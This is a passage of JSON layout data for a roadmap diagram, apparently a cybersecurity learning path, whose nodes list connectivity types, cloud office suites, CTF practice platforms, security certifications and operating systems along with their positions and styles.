\"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 426.45762909207644,\n        \"y\": 185.17193234556692\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fUBNKHNPXbemRYrnzH3VT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 426.45762909207644,\n        \"y\": 238.17193234556692\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WiFi\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 426.45762909207644,\n        \"y\": 238.17193234556692\n      },\n      \"selectable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DbWf5LdqiByPiJa4xHtl_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.410763525937,\n        \"y\": 185.17193234556692\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bluetooth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 533.410763525937,\n        \"y\": 185.17193234556692\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KsZ63c3KQLLn373c5CZnp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 533.410763525937,\n        \"y\": 238.17193234556692\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infrared\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 533.410763525937,\n        \"y\": 238.17193234556692\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E7yfALgu9E2auOYDOTmex\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.4810618751462,\n        \"y\": 373.06557917114316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iCloud\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 427.4810618751462,\n        \"y\": 373.06557917114316\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IOK_FluAv34j3Tj_NvwdO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.4810618751462,\n        \"y\": 426.06557917114316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Suite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 427.4810618751462,\n        \"y\": 426.06557917114316\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-5haJATqlmj0SFSFAqN6A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 427.4810618751462,\n        \"y\": 320.06557917114316\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MS Office Suite\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 427.4810618751462,\n        \"y\": 320.06557917114316\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4kG2uNnZNmTdzJZK3w6Rj\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -330.5291449445003,\n        \"y\": -139.45865507923247\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CTFs (Capture the Flag)\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"4dZqgrIsbcshLTJPo29os\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -330.5291449445003,\n        \"y\": -139.45865507923247\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"wkuE_cChPZT2MHyGjUuU4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": -96.74895209907868\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HackTheBox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": -96.74895209907868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kht-L7_v-DbglMYUHuchp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": -43.74895209907868\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TryHackMe\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": -43.74895209907868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"W94wY_otBuvVW_-EFlKA6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 9.251047900921321\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VulnHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 9.251047900921321\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pou5xHwnz9Zsy5J6lNlKq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 62.25104790092132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"picoCTF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 62.25104790092132\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WCeJrvWl837m1BIjuA1Mu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 115.25104790092132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SANS Holiday Hack Challenge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 115.25104790092132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4dZqgrIsbcshLTJPo29os\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -287.5291449445003,\n        \"y\": 179.66462455710462\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Certifications\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -287.5291449445003,\n        \"y\": 179.66462455710462\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"1gKxcnmRherd4kQCrNwDn\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 219.59273159677468\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Beginner Certifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"rimygCL5JuYfbzSc5H0zI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 44,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 44\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 219.59273159677468\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 44\n      }\n    },\n    {\n      \"id\": \"lbAgU5lR1O7L_5mCbNz_D\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 267.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CompTIA A+\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s86x24SHPEbbOB9lYNU-w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 267.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p34Qwlj2sjwEPR2ay1WOK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -240.02914494450027,\n        \"y\": 267.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CompTIA Linux+\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -240.02914494450027,\n        \"y\": 267.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4RGbNOfMPDbBcvUFWTTCV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 320.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CompTIA Network+\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 320.5927315967746\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4RD22UZATfL8dc71YkJwQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -188.02914494450027,\n        \"y\": 320.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CCNA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -188.02914494450027,\n        \"y\": 320.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AxeDcKK3cUtEojtHQPBw7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 373.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CompTIA Security+\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 373.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rimygCL5JuYfbzSc5H0zI\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 432.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advanced Certifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 324,\n      \"height\": 45,\n      \"style\": {\n        \"width\": 324,\n        \"height\": 45\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 432.5927315967746\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 324,\n        \"height\": 45\n      }\n    },\n    {\n      \"id\": \"AAo7DXB7hyBzO6p05gx1i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -390.0291449445003,\n        \"y\": 481.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CEH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s86x24SHPEbbOB9lYNU-w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -390.0291449445003,\n        \"y\": 481.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lqFp4VLY_S-5tAbhNQTew\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -286.0291449445003,\n        \"y\": 481.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CISA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s86x24SHPEbbOB9lYNU-w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.0291449445003,\n        \"y\": 481.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s86x24SHPEbbOB9lYNU-w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -182.02914494450027,\n        \"y\": 481.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CISM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -182.02914494450027,\n        \"y\": 481.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nlmATCTgHoIoMcEOW8bUW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -389.24003999212795,\n        \"y\": 534.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GSEC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BqvijNoRzSGYLCMP-6hhr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -389.24003999212795,\n        \"y\": 534.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"t4h9rEKWz5Us0qJKXhxlX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.24003999212795,\n        \"y\": 534.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GPEN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lqFp4VLY_S-5tAbhNQTew\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.24003999212795,\n        \"y\": 534.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rwniCTWfYpKP5gi02Pa9f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.24003999212795,\n        \"y\": 534.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GWAPT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s86x24SHPEbbOB9lYNU-w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 117,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -181.24003999212795,\n        \"y\": 534.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZiUT-lyIBfHTzG-dwSy96\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -389.24003999212795,\n        \"y\": 587.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GIAC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AAo7DXB7hyBzO6p05gx1i\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -389.24003999212795,\n        \"y\": 587.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SwVGVP2bbCFs2uNg9Qtxb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -285.24003999212795,\n        \"y\": 587.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OSCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t4h9rEKWz5Us0qJKXhxlX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -285.24003999212795,\n        \"y\": 587.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rA1skdztev3-8VmAtIlmr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -181.24003999212795,\n        \"y\": 587.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CREST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rwniCTWfYpKP5gi02Pa9f\"\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -181.24003999212795,\n        \"y\": 587.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BqvijNoRzSGYLCMP-6hhr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -389.24003999212795,\n        \"y\": 640.5927315967746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"CISSP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"nlmATCTgHoIoMcEOW8bUW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -389.24003999212795,\n        \"y\": 640.5927315967746\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 274,\n      \"height\": 49,\n      \"id\": \"UY6xdt_V3YMkZxZ1hZLvW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 370.3833665120144,\n        \"y\": 580.6903573629068\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Operating Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_hYN0gEi9BL24nptEtXWU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 274,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 370.3833665120144,\n        \"y\": 580.6903573629068\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 274,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BNUKEQ4YpZmIhSPQdkHgU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 369.70399803655243,\n        \"y\": 507.40513458176565\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Windows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 369.70399803655243,\n        \"y\": 507.40513458176565\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"4frVcjYI1VlVU9hQgpwcT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 463.7039980365524,\n        \"y\": 507.40513458176565\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linux\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 463.7039980365524,\n        \"y\": 507.40513458176565\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dztwr-DSckggQbcNIi4_2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 542.7039980365523,\n        \"y\": 507.40513458176565\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MacOS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 542.7039980365523,\n        \"y\": 507.40513458176565\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"02aaEP9E5tlefeGBxf_Rj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 317.0947456767392,\n        \"y\": 710.2164647830613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Installation and Configuration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 318,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 318,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 317.0947456767392,\n        \"y\": 710.2164647830613\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 